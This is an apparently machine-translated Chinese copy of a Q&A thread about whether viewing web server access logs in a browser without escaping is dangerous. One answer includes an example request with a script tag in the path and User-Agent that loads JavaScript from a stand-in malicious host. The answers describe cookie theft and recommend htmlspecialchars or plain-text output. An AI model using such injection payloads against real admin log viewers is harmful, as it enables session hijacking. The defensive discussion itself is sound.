Php 通过web浏览器查看访问日志而不进行清理是否危险?
通过web浏览器查看访问日志而不进行清理是否危险 我正在考虑记录访问日志,我正在考虑通过wev浏览器查看它,但如果攻击者修改其远程主机或用户代理或其他内容,他可以攻击我吗 通过在远程主机或用户代理或ect中插入攻击代码 那么,在通过web浏览器打开访问日志文件之前,是否需要通过htmlspecialchar进行清理Php 通过web浏览器查看访问日志而不进行清理是否危险?,php,security,logging,sanitize,Php,Security,Logging,Sanitize,通过web浏览器查看访问日志而不进行清理是否危险 我正在考虑记录访问日志,我正在考虑通过wev浏览器查看它,但如果攻击者修改其远程主机或用户代理或其他内容,他可以攻击我吗 通过在远程主机或用户代理或ect中插入攻击代码 那么,在通过web浏览器打开访问日志文件之前,是否需要通过htmlspecialchar进行清理 我的意思是,攻击者将一些攻击代码插入其远程主机或用户代理或某些软件,然后我通过web浏览器看到访问日志,然后我的电脑将受到该代码的影响。理论上是可能的,是的,你应该赞扬自己有正确的思
我的意思是,攻击者将一些攻击代码插入其远程主机或用户代理或某些软件,然后我通过web浏览器看到访问日志,然后我的电脑将受到该代码的影响。理论上是可能的,是的,你应该赞扬自己有正确的思维方式来考虑它。在将任何不受控制的输入显示在web浏览器中之前对其进行清理始终是一个好主意
我将通过
htmlspecialchars()
运行日志输出 是的,这很危险
例如,恶意用户可以请求如下内容:
GET /<script src="http://www.evilsite.com/malicious.js"></script> HTTP/1.1
Host: www.example.com
Connection: close
User-Agent: <script src="http://www.evilsite.com/malicious.js"></script>
GET/HTTP/1.1
主持人:www.example.com
连接:关闭
用户代理:
并用恶意JavaScript破坏您的查看页面
由于您可能正在查看站点上的日志,因此您将以具有管理权限的帐户登录。通过恶意JavaScript,攻击者可以窃取您的会话cookie并接管您的会话,完成登录时可以完成的所有操作
因此,总而言之,您应该明确地退出访问日志页面,除非您希望管理帐户受到损害。您可能需要一些html格式的输出,因此必须对日志数据进行清理/编码。但出于参数考虑:如果以文本/纯文本形式发送输出,则客户端不应解析任何html/javascript。
例如,
Yup的输出。我在服务器日志中看到过类似的尝试,所以我在网页中查看脚本的任何部分之前都会对脚本进行清理。是的,谢谢。那么我最好将日志文件扩展名设为“txt”,这样我就安全了。我的意思是“log.txt”是安全的,但“log.html”是危险的。如果“log.txt”真的是解决方案,为什么问题会被标记为“PHPP5”?
<?php
header('Content-type: text/plain; charset=utf-8');
echo '<script>alert(document.URL);</script>';
<script>alert(document.URL);</script>